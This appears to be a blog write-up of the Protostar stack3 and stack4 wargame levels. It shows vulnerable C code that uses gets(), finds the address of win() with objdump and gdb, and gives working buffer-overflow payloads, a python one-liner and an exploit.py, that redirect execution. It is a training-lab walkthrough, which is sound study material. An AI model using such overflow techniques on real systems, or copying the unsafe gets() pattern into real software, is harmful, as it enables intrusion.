Buffer Overflows can Redirect Program Execution - bin 0x0D

stack3

Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)

Hints: both gdb and objdump is your friend when you determine where the win() function lies in memory.

source code: 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

open in objdump:

$ objdump -x stack3 | less

we can get the address of win() function in the memory:

open in gdb:

 

use gdb to determine the address of win() function:

'x' for 'examine'

'p' for 'print'

pwned!:

$ python -c "print('A'*(4*16)+'\x24\x84\x04\x08')" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

 stack4

Stack4 takes a look at overwriting saved EIP and standard buffer overflows.

Hints:

  •     a variety of introductory papers into buffer overflows may help.
  •     gdb lets you do “run < input”
  •     EIP is not directly after the end of buffer, compiler padding can also increase the size.

source code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

open in objdump:

$ objdump -t /opt/protostar/bin/stack4 | grep win
080483f4 g     F .text	00000014              win

now we get the address of win() function in the memory

open in gdb:

try to input somethin to see what happen:

$ vim /tmp/exploit.py

exploit.py: 

padding="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
print(padding)

write into a file:

$ python exploit.py > tmp
$ cat tmp
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

 use the file as input in gdb:

$ python -c "print(chr(0x54))"
T

have a look at the stack

because the return pointer points to the address '0x54545454', we simply need to overwrite 'TTTT' with the address of win() function.

now we modify the exploit.py:

import struct
padding="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR"
ebp="AAAA"
# a better way to convert the integer number into a binay string
ret=struct.pack("I", 0x080483f4) 
print(padding+ebp+ret)

let's try it out:

$ python exploit.py > tmp

pwned!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值